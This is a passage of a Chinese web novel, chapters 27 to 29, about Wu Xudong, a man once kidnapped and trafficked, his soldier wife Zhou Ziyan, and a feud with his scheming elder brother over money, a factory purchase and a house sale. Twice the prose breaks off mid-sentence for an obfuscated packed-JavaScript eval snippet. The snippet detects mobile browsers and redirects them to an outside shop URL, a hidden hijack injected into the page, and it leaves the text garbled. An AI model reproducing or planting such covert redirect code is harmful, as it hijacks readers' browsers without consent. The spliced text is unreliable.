“挺好的,你小姨帮你爸妈找了个新小区,卖了房子搬走了。你小蓓姐介绍了一个护工,帮着照顾你妈妈,这样你爸爸能轻松一点儿。你放心,是你小蓓姐的朋友,知根知底的,不会欺负你妈妈的。”老安今天来,就是要给他带个信儿,“不过这么一来,你大哥嫂子没地方住了,正在想法子跟你爸爸求和呢。如果她找到你这里来,你想怎么处理都行,我们支持你的一切决定,不要有什么顾虑。” “谢谢妈,我知道了。”吴旭东心里暖暖的,这种有边界感的家长真好啊。 很懂得尊重孩子自己的意愿。 只负责支持,而不是瞎搅和,真好。 不禁想给丈母娘露一手厨艺,结果丈母娘不让。 打开食盒,里面全是现成的。 “这道咖喱牛腩是你老丈人做的,他要跟你切磋厨艺呢,你尝尝。这是妈做的鲍鱼海参粥,你这么瘦,多吃点,好好补补。”老安把饭菜往桌子上摆,“这是瑶柱冬瓜汤,也是滋补的好东西。这个是烧鹅,散养的土家鹅,肉质非常鲜嫩,这个是……” 吴旭东什么时候被长辈这样关心过,不禁鼻子发酸:“谢谢妈,我跟琰琰吃不了这么多,你带两道回去吧。” “傻孩子,你们当然吃不完啊,你得分点给你邻居。隔壁冒营长家有孩子吧,对门的副营长家也有孩子。”老安知道他性格孤僻,不懂这些为人处世的门道,耐心跟他讲解,“小东啊,这里是大院,不比在城里,关上门来,天下太平。你在这里,要学会跟人相处。邻里之间分享一点吃吃喝喝的,就是最常见的人情往来。别怕麻烦,人与人相处哪有不麻烦的。这天底下除了爸妈,谁也没有义务平白无故的对你好。” 是啊,所以周子琰对他的好显得分外难得。 那是儿时情意发酵的陈年美酒,一口就醉了。 也正因为这样,他不能拖周子琰的后腿。 他这性格,确实孤僻乖张了些。 那叶嫂子已经不跟他说话了。 所以丈母娘的开导,他听进去了。 吴旭东认真点头:“知道了妈,今后我学着点。” 说着赶紧去厨房拿了些碗筷过来。 没想到丈母娘早有准备,带了些一次性食盒给他:“以后就用这个,方便,还省得别人还来还去的,也不卫生啊,你说是吧?” “知道了妈。”吴旭东言听计从。 赶紧分了两小份,送去了对门和隔壁。 那叶嫂子其实没什么坏心,就是看到英俊的小伙子,想多瞅两眼。 没想到他处处躲着自己,索性这两天也不再热脸贴冷屁股了。 这会儿看到他端着一些饭菜送来,还挺意外的,赶紧招呼孩子过来:“快,叫吴叔叔。” “吴叔叔好。”一个七八岁的小男孩乖巧的看着他。 吴旭东笑笑:“嫂子,孩子叫什么?” “冒金豆。”叶嫂子笑得合不拢嘴,“是不是挺俗的?哎呀,没办法,我家老冒没文化,就喜欢这些俗里俗气的名字。” 吴旭东往堂屋八仙桌走去:“挺好听的,那这个是银豆?” 说的是旁边一个五六岁的小姑娘。 叶嫂子笑着说道:“正是呢,我家老冒是壮族的,不受计划生育的影响。你呢?是汉族的吗?” “嗯,汉族的。”吴旭东把一次性食盒放下,“嫂子,我丈母娘还在屋里,我不跟你聊了,你们慢慢吃。” “哎!好!有空多来坐坐。”叶嫂子可开心了,这送的都是些好东西啊。 牛腩,鲍鱼,鹅肉,还有瑶柱海参,都是他丈母娘送的吧,真疼他呀。 她赶紧叮嘱金豆银豆吃饭,转身从自家柜子里找了点地瓜干拿了过去。 “是安阿姨吧!”叶美娟还是头一次见到这个传说中的女强人。 站在门口,仔细打量着。 真好看啊,老了都能看出当年是个美人胚子。 难怪周子琰是岛上最出色的大美人儿! 随妈!个头估计随爸,都快一米八了。 可惜留的是板寸,少了些女人韵味。 察觉到门口的目光,老安笑笑:“是小叶吧,进来坐。” “哎,安阿姨真是耳聪目明,连我们这些小辈都认得。”叶美娟开心坏了,难得啊,这种老前辈都能认识自己,可不是挺光荣的嘛。 老安递了把炒花生给她:“小叶真客气,我家子琰跟小东还要拜托你们多多关照,他们年轻,有什么不周到的可以跟我讲,我来说他们。” “没有没有,安阿姨实在是太客气了。他们挺好的,真的。”叶美娟赶紧说好话,一看桌上,哎呦喂,全是好吃的呀。 这个丈母娘可是真舍得,对小吴真好啊。 当然要夸一夸人家闺女女婿。 这话老安听着高兴,笑着说道:“老话怎么说来着,近朱者赤,近墨者黑。一个院里住着,当然是因为你们更好,所以他们才有了榜样的力量嘛。” “哎呦,安阿姨真是羞死我了。”叶美娟高兴得嘴巴都合不上了,这安阿姨真会说话,难怪能混得那么好呢。 可惜退得早,要不然现在肯定是大官儿了。 听说她跟她爱人是为了朋友,拿自己的前途做筹码,力保朋友没有问题,上头压力大,只能让他们先做做别的工作,等风浪过去。 结果事情过去后,两口子却不愿意再回去了,正好赶上改开,便做起了买卖。 他们的朋友好像也跟着发了财。 这样的情意,一般人真比不上。 就该这样的人家发大财挣大钱呢。 叶美娟真是羡慕得很。 她自己娘家和婆家都是普通人家,要不是男人出息,哪有机会跟他们做邻居。 回到家里,豪情万丈,要让两个孩子好好学习,将来给周阿姨和吴叔叔的孩子做榜样。 冒金豆倒是实在,问道:“可是他们还没有孩子啊。” “哎呀,傻孩子,妈说的是以后,以后。”叶美娟人回来了,眼睛还盯着吴旭东那边呢。 没办法,这小伙子长得真俊,太俊了,爱看。 * 周子琰回来的时候,老妈还没走。 立马扑上来,抱着老母亲腻歪腻歪。 老安哭笑不得:“这么大人了,怎么还跟三岁小孩似的。” “我不管,我就是七老八十了你也是我妈,只要你在一天,我就做一天三岁小孩,你有本事找我爸告状去。”周子琰耍无赖。 老安不高,也就一米六多点,被这个将近一米八的成年女儿搂着,简直就像是小龟背大石。 滑稽的嘞。 一旁的吴旭东看着着实羡慕,自己也能跟爸妈这样撒娇就好了。 可惜,可惜。 等到丈母娘走了,心中的羡慕便化作了绵绵不绝的贪婪,要从他唯一挚爱的老婆身上索取回来。 还好周子琰是个当兵的,意志超乎常人,两人愣是没发出什么奇怪的声音。 只是,多少还是有点别的动静的。 以至于叶嫂子夜里不住叹息,怎么好哦,她家老冒最近不知道是压力太大还是怎么,总是力不从心。 哎,真羡慕年轻人啊,活力无限。 第二天一早起来,叶美娟正在厨房做饭,看到周子琰出来,那一脖子的吻痕,羡慕坏了。 以至于一上午都唉声叹气的。 出去买菜的时候,忍不住跟李嫂子嘀咕:“你说,男人是不是过了三十就不行了?还是周指导聪明啊,找个比自己小的。” “听说男人都差不多,我家那位,也是没什么激情了。还怨我不懂情调,气得我买了一套那啥内衣,结果还是老样子。真是没辙了,实在不行,只能买药了。”李嫂子也很头疼。 上次陪她男人去男科医院,发现不少这样倒霉的夫妻呢。 叶美娟叹气:“我也决定买药了,别不好意思,面子是给别人看的,里子才是咱们自己的。” 夜里周子琰听到了隔壁的动静,不禁好笑,也不知道叶嫂子是装的还是真的,也不怕孩子听见。 她看着倒在床上的吴旭东,怀疑他还会再折腾几次。 不禁笑道:“你今晚能睡着吗?” “为什么不能?” “太吵。” “没事,我搂着你睡得特别香。” “你最好言而有信。” 有信个屁,刚熄了灯,又闹着要。 周子琰就知道他会这样,哎,没办法,宠着吧。 自己男人。 吴旭东却觉得不够,谁让她又要下水来着。 这次要去一个月,想想就很折磨人。 他可不得多多补偿一下自己嘛。 折腾完,周子琰趴在他身边,跟他闲聊。 “哎,你这几天出去考察市场,怎么样了?” “看了几个不景气的厂子,顾蔓蔓那个服装厂最好上手,不过不急,我让楚劲雄再打听看看。” “哦,她那个啊。国营的,做的都是些老土的款式,当然卖不好了。” “嗯,等拆迁款下来,我把那个厂子盘下来。” “你要是能当她老板,她肯定要气得爆炸吧。想想就好笑。” “琰琰。” “嗯?” “我不要当她老板,我要辞退她。” “哈哈哈,好啊小东,加油!” “你觉得我能行?” “当然,我家小东可是大学生呢,名校毕业,头脑聪明,干什么都能成功!” “真的?” “当然啊,我家小东最棒啦!唔……” 吴旭东受不了了。 这种赞美比什么情话都管用。 一时上头,热烈的拥吻,闹着又来了一次。 最后还是需要周子琰多多辛苦一点。 不禁调侃道:“我得赶紧把你的风湿治好了,这样我就可以偷懒了。” “……”吴旭东老脸一红,从身后紧紧抱着她,埋首颈间,酣然入梦。 第二天一早,周子琰下水去了。 她不是专门的潜艇兵,不过最近潜艇升级改造,需要她随艇监测一些仪器的情况。 遇到有问题的,还得去专门的配件厂处理。 毕竟各个军工厂都是分工不同的。 有的负责火炮系统,有的搞发动机,有的专门捣鼓电子设备,有的负责整体装配…… 所以她最近还有得忙。 吴旭东已经习惯了这样的生活,她忙的时候,他就去城里转转,搞搞事业。 一点也不空虚。 只是这次的时间不赶巧,中秋节的时候,周子琰依旧在水下。 想到这里,吴旭东多少有点遗憾。 这是他们婚后的第一个中秋节,要是能在一起过就好了。 不过没关系,实在不行,回头去老丈人家过吧,他们肯定会欢迎他的,到时候把爸妈接过去,一起吃吃月饼赏赏月。 至于琰琰这边,只能等她回来再补个迟到的庆祝了。 弄点烛光晚餐什么的,过过二人世界,也挺好的。 哪天庆祝不重要,有她就好。 吃了早饭,他便精神抖擞,西装笔挺的离开了大院。 那叶美娟从窗口看了眼,不禁咋舌,真帅啊,周子琰真是好福气哎,找了这么一个狼崽子弟弟做老公。 买菜的时候忍不住又跟李嫂子嘀咕:“我瞧着那个小吴啊,真是越来越帅了。” “胡说,都二十几岁的人了,还能越来越帅?”李嫂子不信。 叶美娟嗤笑道:“怎么不能啊,刚来那几天看着还有些怕生,动不动躲屋里不出来。这两天不知道怎么,自信多了,抬头挺胸的,自信的男人最帅嘛。” “那倒也是。这会儿在院儿里吗?” “不在,回城里去了,还夹个公文包,看样子是要做生意吧。” “这么年轻,能行吗?” “不知道,反正我瞧着他挺有自信的,走路都带着风。” “跟周子琰学的吧,那个女人,走路风风火火的,时间长了,两口子肯定一个德性。” “哈哈哈,那倒有可能。周子琰人不错,真要是两口子一个德性,我还求之不得呢。” “那倒也是,好邻居难求。” “对了,你家的用那个药了吗?” “用啦,也就那样吧,我不忍心让他失望,装着喊了几嗓子。” “哎,谁不是呢。还是找个年轻男人好啊。” * 吴旭东夹着公文包,戴着大墨镜,叫上楚劲雄,开着流光顺滑的黑色桑塔纳,停在了服装厂门外。 服装厂里女员工居多,看到门口来了俩帅哥,立马躁动起来。 厂长李福胜正愁厂子里的货物积压卖不出去呢,看到有人过来,赶紧迎了出来。 “李厂长你好,我是小楚,这就是我跟你说过的吴老板。”楚劲雄是个合格的跟班儿,立马介绍起来。 吴旭东摘下墨镜,跟李福胜握了握手:“李厂长,你好。” “吴老板,看着挺年轻啊,有二十了吗?” “二十二。” “看着不像,像十八九岁。” 吴旭东知道他拍马屁呢,没信,只问道:“我兄弟说你们厂子有点困难?” “是这样的……”李福胜赶紧领着吴旭东往办公室走去。 厂区很大,前面一排是女装车间,后面一排是男装和童装,最后才是办公区和货仓。 经过女装车间的时候,引起不少员工的围观。 同事碰了碰顾蔓蔓的胳膊:“哎,你看,好俊的男人,听说是来咱们厂里搞投资的。” 顾蔓蔓扭头一看,顿时愣住了。 这不是她小叔子吴旭东吗? 立马放下手里的衣服,鬼鬼祟祟的跟了过去。 刚到后门口,就被车间班长叫住了:“顾蔓蔓,你又想偷懒?上次请假耽误的件数补上来了吗?” 这大嗓门儿一吼,叫吴旭东听见了。 他刚刚出了女装车间,走到了女装车间跟男装车间之间的空地上。 身后就是车间后门,一扭头,便看到了尴尬的顾蔓蔓。 他也没理,继续往男装车间走去。 这几个车间全是长方形的构造,宛如几列火车并列在厂区。 车间的门也跟火车门一样,开在了两边的腰上,每隔一段距离就是一扇门。 方便进出,也容易通气,夏天不至于闷热。 顾蔓蔓回到工位,可以从其他的门洞里看到吴旭东的背影。 不免愤恨,不知道吴旭东哪来的钱搞投资。 多半是公公拿的钱。 结婚之前就说要给他十万,现在把他们一家赶出去了,别说是十万,就算给他二十万三十万,她也不知道啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656550|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越想越是生气。 干脆不做了。 借口上厕所,去厂里的公用电话亭给吴燕西打了个电话。 职工宿舍没有座机,还得楼下的宿管大妈去楼上喊。 吴燕西很快领着两个孩子吭哧吭哧的赶来。 他可不信他这个弟弟一下子就有钱做生意了,除非是家里给的,或者老丈人资助。 他的心里很不是滋味。 凭什么啊。 他们四口人居无定所,小弟却可以来厂里摆阔? 一时气不过,真就听信顾蔓蔓的挑唆,带着孩子去了厂办公室。 吴旭东刚跟李福胜谈好了收购的价钱,准备告辞。 起身便看到了一脸怨恨的吴燕西。 吴旭东只当不认识,戴上墨镜,就这么擦肩而过。 楚劲雄赶紧跟上。 吴燕西气不过,转身质问道:“站住,你哪来的钱?咱爸给的吗?” 要不然能办那样奢华的婚礼? 吴燕西气死了。 吴旭东理都没理,扬长而去。 倒是楚劲雄,怕这个吴家大哥捣乱,扭头对李福胜说道:“李老板你放心,我兄弟的资金没有问题,一切合法合规。” 李福胜笑着摆手。 他才不管这些,只要赶紧把这个烫手山芋脱手,给组织上一个交代就行。 至于这个厂子之后是死是活,他不关心。 更不关心吴燕西来做什么。 连招呼都没打,回办公室喝茶看报去了。 这几年的国营厂子都是这样。 躺在功劳簿上,不思进取,好逸恶劳,跟不上时代,被淘汰是迟早的事。 其实服装厂算好的了,起码还有一些衣服能卖出去,工资只拖欠了两个月,其他月份的都发了。 别的厂子,好多员工都不去上班了。 还有人甚至就在厂区拉大便,自由散漫到了令人发指的程度,反正发不出工资了嘛,可劲儿造。 吴燕西曾经也考虑过,要不干脆问他老子要点钱,让蔓蔓把厂子盘下来。 可惜蔓蔓平时问家里要的钱太多,每次他一开口,他爸就问他蔓蔓那边的投资怎么还不见回报。 他只能去问蔓蔓,蔓蔓再回娘家问她弟弟。 原以为真的是前期投入的时间长,需要再等等。 谁想到…… 顾宝宝那个畜生,直接把钱拿去赌了! 想想就让人血压飙升。 现在好了,小弟看上了这个厂子,还不知道家里资助了多少钱。 要是小弟真的成了蔓蔓的领导,蔓蔓肯定没有好日子过。 吴燕西想到这里,赶紧领着孩子去追。 可惜吴旭东开的是轿车,嗖的一下就没影了。 无奈,吴燕西索性豁出去了,领着孩子跑到小姨家去哭。 那可是他亲小姨,出了这样的馊主意,把他害得无家可归,他可不得好好哭一哭吗? 结果今天安一方也在。 说起来是他小姨父,其实他爸见了人家还得叫一声老大哥。 吴燕西领着孩子蹭了顿饭,屁都没敢放一个。 等到这尊大佛吃完饭走了,他才跟谈九妹哭起惨来。 谈九妹听罢,乐了。 “我就知道,小东是有大出息的。至于你——”谈九妹翻了个白眼,“赶紧走,别让我看见你。该说的话小蓓已经跟你老婆说过了,你们自己看着办。” “小姨!你可是我亲小姨啊!怎么能见死不救呢?”吴燕西实在是崩溃了,哭着不肯走。 谈九妹冷笑:“我也是小东的小姨,我还是他跟周子琰的大舅妈。我奉劝你一句,莫问前程,但凭良心。” “小姨!我怎么没有良心了?我哪里对不起东东了吗?又不是我让他被人拐卖的。”吴燕西实在理解不了,怎么一个两个的全都偏心小弟呢? 他又没有做错什么,关他什么事啊。 谈九妹恼了,一拍茶几,站了起来:“吴燕西,你老婆这些年往娘家搜刮了多少钱,真当我不知道?你别忘了,你们家的原始股是我掏的钱!你老子的钱花哪儿去了,我一清二楚!” “那是他欠我们的!那几年他为了找东东,整天把我们兄妹三个扔在家里!就连我妈都是你照顾的。要不是后来二妹出事被烫伤了,他还要继续找小东呢。他已经忘了,他还有三个孩子需要照顾,他不只是东东的老子,他也是我们的老子!”吴燕西委屈得很。 谈九妹冷笑:“是吗?搞搞清楚,小东出事的时候你十六岁了。家里的变故,对你的影响是最小的,你爸妈舍不得你受苦,依旧省吃俭用的送你上了师专。你一早就住进了学校,真正被丢在家里的是南南和北北,后来你安姨和周叔看不下去,把她们接走了。前后也就一年不到的时间,我请问,你吃什么苦了?受什么委屈了?真当你家的事我不知道?真当我跟别人一样好糊弄吗?” 吴燕西沉默了。 是这样的吗? 他怎么记不清了。 三十几岁了,又整天待在那么一个死气沉沉的学校里,脑子都快僵化了。 他诧异地看向谈九妹,到底是他的记忆混乱了,还是她年纪大了糊涂了。 谈九妹懒得跟他废话,直接把他轰了出去:“作为小姨,我最后一次提醒你,你们两口子做了什么错事你们心里有数,自己想办法,别来烦我,我不欠你们的。” 吴燕西一手牵着一个女儿,恍恍惚惚的上了公交车。 回到城里,从公交站台下来,依旧是脑子麻麻的木木的。 就这么稀里糊涂,漫无边际的走着。 两个女儿全都饥肠辘辘,大女儿实在受不了,嚷道:“爸爸,我饿了。” 吴燕西看了眼右手边的副食店,进去买了一个月饼。 五仁的,真难吃。 超男吃了两口就咽不下去了,皱着眉头把这月饼塞给了亚男。 亚男习惯了,从小到大,都是吃姐姐的剩饭,半点不敢嫌弃,狼吞虎咽的吃完,紧紧跟上。 走到半路,视线里再次出现了那辆桑塔纳。 吴燕西一时好奇,追了上去。 一路追到了城中村。 发现吴旭东直接把车停在了顾蔓蔓家门前。 直到这时,吴燕西才注意到了村口贴着的拆迁通知。 他恍惚间好像意识到了什么,赶紧回家,质问顾蔓蔓:“你弟弟有没有说房子卖给谁了?” “我问了,不肯说。”顾蔓蔓刚把晚饭做完,见他这么晚回来,还以为他找吴国正去了。 吴燕西不理解:“为什么不肯说?” “说是买家答应他,以后要是没钱了,还可以帮他,代价是不能让家里人知道买家的名字。”顾蔓蔓把饭菜往屋里端,坐下后问道,“找到你爸了吗?老四的钱是他给的吧?多少?二十万?还是三十万?” 吴燕西一句话也说不出来。 心里涌出一个大胆的猜测,却又不是很确定。 这事要是让顾蔓蔓知道了,一定会闹得不可开交。 万一他搞错了,岂不是更加覆水难收。 还是找个机会确定了再说吧。 吃完饭,等顾蔓蔓睡了,他悄悄爬了起来,去楼下宿管大妈那里借了电话,打给了自己同学。 查一下顾家那套房子,现在的产权归谁。 第二天,同学回了电话过来。 三个字:吴旭东。 吴燕西人都傻了。 他这个小弟,一回来就玩了这么一票大的,还真是个狠人啊! 这么一个狠人,他拿什么去斗? 靠顾蔓蔓吗? 她除了会哭会闹还会干什么? 每次问他老子要钱,都是摆功劳,说她照顾了他那个生活不能自理的妈。 可是现在呢,他老子直接搬走了,也不要她照顾他老娘了。 还怎么摆功劳? 自作聪明的女人,被顾宝宝骗了十几万都不知道。 蠢死了。 他还是再想想别的办法吧。 思来想去,只得厚着脸皮,又去找小姨了。 28. 深情 今天天气不错。 吴旭东过来看看小姨。 大包小包的带了不少东西,都由楚劲雄这个跟班提着。 谈九妹正好在家,今天休息,等会还得去岛上看看安一方和两个小女儿。 至于继子安正则跟继女安玉成,两个人都成家了,不跟她住。 看到吴旭东过来,她还挺意外的,赶紧来门口迎接:“哎呦小东啊,来就来吧,带这么多东西做什么。把大舅妈当外人啦!” 吴旭东乐了,听听,大舅妈。 不是小姨。 他哥他姐都不能这样喊,只有他可以,独一份的。 他挽着长辈的胳膊,笑着解释道:“马上是你的生日啦,琰琰下水去了,临走时特地叮嘱我,不要失了礼数。” “好好好,你听你家周指导的话。那我收啦。”谈九妹赶紧指了个地方,让楚劲雄把东西堆那就行。 转身去厨房切点果盘。 三个人坐客厅闲聊。 “小东啊,你工作的事怎么打算的?还有你同学,小楚是吧,需要帮忙尽管开口。” “不用,他跟我干,我俩一起做点生意。” “做生意也好,这年头钱好赚。你有本钱吗?舅妈给你拿点儿!” “不用不用,我有。真的。” “大舅妈,他真有,你得信他。”楚劲雄不愿意别人怀疑他的东姐夫,赶紧插了句嘴。 谈九妹搞不明白,还是问了问:“不是你爸或者老丈人给的吧?你爸的现在不能要,回头你大哥嫂子闹起来没完没了,再等等。你老丈人的我也不赞成要,他们肯定不会看不起你,可是外面的人会乱嚼舌头。” 楚劲雄一听,赶紧澄清:“大舅妈,真不是,他救了不少被拐的孩子,人家家长给了他一个汽修店报恩呢,他把店卖了,这不就有钱了。” 谈九妹非常意外,激动得拍了拍吴旭东的肩膀:“可以啊小东,真有出息!让你那个窝囊废哥哥好好学学,别整天气人。” “大舅妈,我哥怎么回事?我记得他小时候挺好的,没想到现在是这样。”吴旭东正想了解一下他那对奇葩的哥哥嫂子。 谈九妹叹了口气:“我也不知道。你出事之后,他去上师专,住校,离家挺远的,就寒暑假回来。期间有没有遇到什么事谁也不知道,他也不说。反正毕业后就留校工作了,后来师专跟别的院校合并成了大学,他就跟着鸟枪换炮,成了大学老师。” “他跟顾蔓蔓怎么认识的?” “说是同学介绍的,当初你爸不同意,是他闹死闹活的非要跟顾蔓蔓在一起。后来我打听了一下,顾蔓蔓在他之前谈过两三个,最后都是因为彩礼谈不拢,分了。跟你哥结婚,彩礼也没少要。” “多少?” “五百。” “五百?!!!” 十年前的五百,那可真是天文数字了。 吴旭东忽然意识到,周子琰跟他结婚,压根没提彩礼这事儿。 卖汽修店的钱她也没要。 她可真是完完全全抛弃了物质,只跟他讲感情了。 可是他不能不给她物质。 等着,早晚给她买大别墅,让她好好风光风光! 他下意识握紧了拳头,无论如何,等她上岸,他要给她补一个别致的中秋。 一旁的谈九妹不知道他开小差了,继续跟他念叨:“你老丈人那会儿还没有开始做生意,你爸自然也就没有入股,没有现在的条件,拿不出来这五百,你哥就闹自杀。” 吴旭东回过神来,诧异道:“他还闹过自杀?” “是啊!你爸找不到你,已经伤心欲绝,哪敢再看你哥自杀,只能去借。估计就是这样,把你哥惯坏了。没记错的话,你爸为了这彩礼,还把老家的几个古董抵押给了别人。我想想都来气。”谈九妹提到往事,心情糟糕,唉声叹气。 吴旭东的情绪好不到哪儿去。 他怎么也没想到,他哥会这么混账。 不过大舅妈的话里提到了一个关键词,这让他非常困惑。 结婚的时候,吴家的亲眷要请哪些,他完全不清楚,所以拜托了老丈人帮他问了他爸爸。 他拿到名单,按照姓名和地址发去了请柬。 当时就注意到了,没有祖辈的。 多半是不在世了。 因为对他们没有印象,也没有感情,他就没有多问。 现在看来,是他疏忽了。 他赶紧打听:“大舅妈,你说什么老家?我爸妈不是这里人?那我爷爷奶奶呢?” “当然不是啊傻孩子!你爷爷奶奶都是首都的。”谈九妹想起什么,起身去书房拿了本相册过来,“给,这是你妈结婚,寄给我的合照。中间这两个就是你爷爷奶奶,后面站着的是你爸妈,两边的都是叔叔伯伯姑姑婶婶什么的。你爷爷奶奶那边也是个大家庭啊,可惜了,爷爷被你小姑气得犯了病,没了。奶奶伤心欲绝,头七那天也跟着去了。” “那我婚礼,我爸还让我请她?” “她还算有点良心吧,你爸回城的时候别人撺掇她男人去举报,她为了阻止她男人犯浑,被打得头破血流,险些送命。她男人眼见要出人命了,这才怂了。小东啊,你记住了,这世上没有十全十美的人。你小姑这人吧,贪财没有底限,让人恨得牙痒痒,不过大是大非上,还算拎得清。所以你爸让你请她,也算是情有可原。” “那她怎么气死我爷爷的?” “为了古董啊。她男人投机倒把犯了事,她想救她男人,要卖你爷爷的古董。那时候只有黑市敢收,你爷爷怕惹上麻烦,不让。她就偷。后来果然被人知道了,找到你爷爷敲竹杠,讹走不少好东西。你爷爷一辈子古董迷,好不容易留了点在身边,一下损失那么多,能不气吗?” 原来是这样。 吴旭东接过相册,说不出话来。 这东西不大,也不沉,可是抱在怀里,却是沉甸甸的。 那是长辈们曾经来过的证明。 十几张面孔,有的婚礼上见过,有的却很陌生,都是跟他有着血缘的亲眷。 他只看了一眼,便合上了。 太心痛,原来他的爷爷奶奶真的不在世上了。 “小东啊,他们老两口挺疼你的,咽气之前一直念叨,让你爸一定要找到你。你爸很是努力的找了一阵子,把你两个姐姐扔家里没人照料,后来你南南姐出事,烫伤了手臂,他这才放弃了。别怪你爸,他要是出去找你,就只能把你妈妈送我这里来,我工作忙,也没办法时时刻刻照顾你妈。而且当时你两个姐姐还没有成年,总不能真的不管她们死活,这都是不得已啊。”谈九妹无限唏嘘,心情沉重得像吸满水的海绵。 胀胀的,滴滴答答,全是辛酸泪。 吴旭东沉默了很久,问道:“这张照片可以给我吗?” “好哇,你拿去。对了——”谈九妹起身,拿了纸笔出来,“这是你爷爷奶奶以前那间四合院的地址。他们留了遗嘱,遗嘱具体给谁保管的不清楚,四合院给谁也不清楚。不过上次我出差路过看了眼,还空着呢,没人住。过几天正好他们忌日,你要是有心,可以去祭拜祭拜。” 吴旭东接过纸条,上面写了忌日—— 吴孟甫,一九七三年七月二十九 林风举,一九七三年八月初六 谈九妹解释道:“你奶奶的父亲,也就是你太姥爷,那是晚清鸿儒,取的名字比较讲究,化用了大鹏一日同风起,扶摇直上九万里。不过风起只代表了起始,你太姥爷觉得不够,便改做风举。希望你奶奶一生都有浩荡天风的托举,像大鹏一样,扶摇直上。” 吴旭东自然是学过这首诗的,只是没想到,这会跟他奶奶的名字联系在一起。 很大气,很豪迈,可见太姥爷一点也不重男轻女。 这真是极其罕见的一件事。 要是全中国的家长都有太姥爷这个觉悟,他就不会被拐卖了。 他把纸条攥紧了,默默记下上面的地址和忌日,不禁好奇:“我奶奶不是在爷爷头七的时候走的吗?这怎么写的是第八天?” “这是农历,那年七月只有二十九天,没有三十。” 吴旭东明白了,赶紧看向墙上的挂历。 谈九妹帮他翻开查了查:“你记住了,老一辈的不管是生日还是忌日,都只看农历。今年七月有三十,你奶奶的忌日还是按初六来算。” “知道了。”吴旭东把对应的公历日期记下。 今天是八月三十号,中秋是九月二十五号,如果他现在去一趟北京,应该来得及赶回来过中秋。 至于城中村拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665776|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迁的事,留下楚劲雄在这里守着就是。 心里有了这个打算,他便问了问另外一件事。 “对了大舅妈,你说我爸抵押了什么古董?”有可能的话,真希望可以赎回来,那上面应该还有爷爷奶奶的记忆。 虽然他完全不记得他们了,可是他们临终前还在念叨他呀! 他们是疼他的。 他很确信。 他要找点什么,缅怀一下。 这个谈九妹不是很清楚:“你问你爸爸吧,这个我真不知道,好像是朝阳门附近的什么朋友,你爷爷那个辈分的,说不定都不在世了,未必能找回来。” “好,我知道了。”吴旭东心里隐隐作痛,可怜的爷爷奶奶,人生末年,居然连最后一次的中秋满月都没有看到。 果然是月有阴晴圆缺,人有悲欢离合。 他们走在了月缺的黯淡时刻,留下的,自然也是无限的惆怅和慨叹。 他得去一趟,祭拜一二,告诉他们,他回来了。 虽然不是他爸爸找到的他,可是他的的确确回来了。 他们二老可以瞑目了。 他现在还有一个最大的困惑要问问。 “大舅妈,我爸妈当初到底出了什么事,后来怎么又可以回城了?” 谈九妹叹了口气。 “你真想知道?” “特别想,我想知道是什么让我们一家沦落到那个地步。” “有些事很复杂,追问下去对你也不好。总之,你记住了,你爸爸是个善良的人,善心被人利用,给一个有问题的人做了担保,自己被牵连了。” “那后来怎么又回去了呢?是不是说明他们自己是没有问题的?” “当然没有问题。可是你要知道,很多时候,有没有问题不是清者自清的,何况他们做保的那个人真的有问题,那就很难翻身了。” “那他们是怎么回来的?是改开之后回来的?” “当然不是,第二年就回来了。” “有人担保了?” “嗯。” “谁啊。” “子琰没有告诉你?” “她从来没跟我提这些。” “那我就不说了。” “大舅妈,告诉我,我想知道。”非常想。 心里隐约有个猜测,但是他没有证据。 如果是真的,他欠的何止是周子琰的情谊。 他欠的是他们全家啊。 谈九妹几次欲言又止,想想还是起身,去书房打了个电话。 片刻后出来,终于开口:“你应该猜到了,是你老丈人和丈母娘。” “果然是他们,果然是他们!”吴旭东呆呆地跌坐在沙发上。 难怪会养出周子琰这样的孩子。 歹竹虽然可以出好笋,但是更多的时候,还是好竹更容易出好笋。 这是一份怎样的深情厚谊? 以至于他们拿自己的前途来做担保。 以至于他们从不反对周子琰找他,还不断出钱资助。 以至于他们不嫌弃他这个穷山沟里出来的土包子,连婚事都没有说半个不字。 原来这世上,真的有这么一种人。 他们重情重义,他们从不摆功劳,也从不索取什么。 他们只是静静的去做,把一切交给时间。 他们种下善的种子,开出的自然是绚丽夺目的花朵。 有朝一日,也定会结出饱满甜美的果子,沉甸甸的挂满枝头。 待到丰收的时候,无需锣鼓喧天,无需鞭炮齐鸣。 只要一家人齐聚在果树下,幕天席地,相视一笑,共尝鲜果,同品佳肴。 便已足够。 他几乎没有耽误,立马起身作别,往老丈人家去了。 谈九妹没有阻拦。 让他去吧,让他好好的哭一场,让他彻底的明白,苦难已然过去,迎接他的是漫山遍野的明媚和鲜艳。 * 吴旭东刚走,吴燕西来了。 兄弟俩在门口擦肩而过,一句话也没讲。 吴燕西杵在门口,注视着桑塔纳的背影,吃了一肚子尾气。 身后传来锁门的声音,吴燕西一把扣住铁门:“小姨,你知不知道东东骗走了蔓蔓家的房子!” 29. 遗嘱(二更) 谈九妹看到吴燕西就烦。 门是关不上了,索性扭头就往屋里去。 吴燕西领着两个孩子跟进去:“小姨,你不能这么偏心啊,蔓蔓家的房子要拆迁了!东东这是坑人呢!” 谈九妹不知道这事,但是毫无疑问,小东这么做肯定有他的道理。 再说了,一个救了好几个被拐孩子的人,她真不信他能做出坑蒙拐骗的事来。 